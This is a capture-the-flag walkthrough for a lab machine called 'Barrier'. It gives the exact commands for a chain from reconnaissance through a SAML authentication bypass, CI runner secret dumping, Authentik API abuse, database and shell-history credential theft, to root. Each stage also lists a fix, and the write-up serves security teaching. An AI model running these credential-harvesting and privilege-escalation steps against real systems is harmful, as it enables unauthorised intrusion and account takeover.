Barrier
Summary
I found a public GitLab repository whose commit history still contained a developer's password. Those credentials worked on both GitLab and the Authentik single-sign-on server fronting it.
The installed GitLab version was vulnerable to a SAML signature-wrapping authentication bypass, which let me obtain an administrator session without the administrator's password. From there, a paused CI/CD runner was resumed and used to run a pipeline job whose log printed an Authentik API token out of the environment.
That token had enough privilege to create a new Authentik account, promote it to admin, and impersonate an existing user, which handed over that user's remote-desktop session. A database behind that remote-desktop service stored a second user's SSH key and passphrase in plaintext, and that second user's own shell history (world-readable) contained the administrator password in plain text, completing full root compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"Some commands also carry a value in angle brackets — <guac_password>, <guac_user>, <leaked-password>, <runner-tag>, <second-user> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Resolve the discovered hostnames.
$ echo "$TARGET barrier.vl gitlab.barrier.vl" | sudo tee -a /etc/hostsIdentify open services: 22, 80/443, 8080, 9000, 9443.
$ nmap -sV -sC -p- -T4 $TARGETFinds /manager (needs creds) and /guacamole (redirects to Authentik SSO).
$ ffuf -u http://barrier.vl:8080/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txtFixRemove leaked secrets from source history and stop password reuseHigh
Exact commands 3
Clone the public repository.
$ git clone https://gitlab.barrier.vl/satoru/gitconnect.git && cd gitconnectSearch every commit (not just current files) for leaked secrets.
$ git log -p --all | grep -iE 'pass|secret|token'Validate the recovered credential on both GitLab and Authentik.
$ # Sign in to https://gitlab.barrier.vl and https://barrier.vl:9443 as satoru / <leaked-password>Exact commands 4
One cookie jar/session for the whole flow; keep the original RelayState and session cookies.
$ # Intercept a real satoru SSO login (Burp/mitmproxy); capture the SAMLResponse posted to /users/auth/saml/callbackPublic PoC: search 'CVE-2024-45409 ruby-saml poc' / the ruby-saml GHSA advisory.
$ # Use the public CVE-2024-45409 PoC against the captured response to produce a response naming the built-in admin account, keeping the original signed assertion byte-for-byte intactSync local clock with the server first — session cookies depend on it.
$ # Replay the callback request with only SAMLResponse swapped for the crafted one; keep RelayState and cookies unchangedConfirm is_admin:true on the resulting session.
$ curl -sk -b jar.txt https://gitlab.barrier.vl/api/v4/userFixPatch GitLab's SAML library against the signature-wrapping bypassCritical
Exact commands 2
Requires the admin session from step 3.
$ # In GitLab Admin > CI/CD > Runners: resume the paused runnerPush to a new project targeting the resumed runner; read the job log for the leaked token.
$ printf 'dump:\n image: {name: redis:alpine, pull_policy: if-not-present}\n tags: [<runner-tag>]\n script: [env]\n' > .gitlab-ci.yml && git add .gitlab-ci.yml && git commit -m ci && git pushFixStop storing long-lived secrets as plain CI/CD runner environment variablesHigh
Exact commands 3
Enumerate users and the admin group's UUID.
$ curl -s -H 'Authorization: Bearer <AUTHENTIK_TOKEN>' http://barrier.vl:9000/api/v3/core/users/Three calls to /api/v3/core/users/, /users/{pk}/set_password/, /groups/{uuid}/add_user/.
$ # Via the API: create a new user, set its password, add it to the admin group UUID found aboveThen open the Guacamole tile/connection to land an interactive shell as that user.
$ # Log into https://barrier.vl:9443 as the new admin account, open Admin Interface > Impersonate, select the target userFixScope Authentik API tokens to least privilege and restrict impersonationCritical
Exact commands 3
Discloses the local MySQL username/password for the Guacamole database.
$ cat /etc/guacamole/guacamole.propertiesDumps stored connection secrets, including an RSA private key, its passphrase, and a second SSH username.
$ mysql -u <guac_user> -p<guac_password> guac_db -e 'select * from guacamole_connection_parameter;'Use the recovered key and passphrase to open a shell as the second account.
$ chmod 600 recovered_key && ssh -i recovered_key <second-user>@barrier.vl -oHostKeyAlgorithms=+ssh-rsaFixRemove plaintext secrets from the Guacamole database and lock down shell history filesHigh
Exact commands 3
World-readable despite being root-owned; reveals the plaintext sudo password used in an earlier command.
$ cat ~/.bash_historyEnter the recovered password when prompted.
$ sudo -iConfirm uid=0(root) before reading the flag -> <root.txt>
$ id && cat /root/root.txt
uid=0(root)Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 8080/tcp | http Apache Tomcat |
| 9000/tcp | http recon-sweep-discovered |
| 9443/tcp | http recon-sweep-discovered |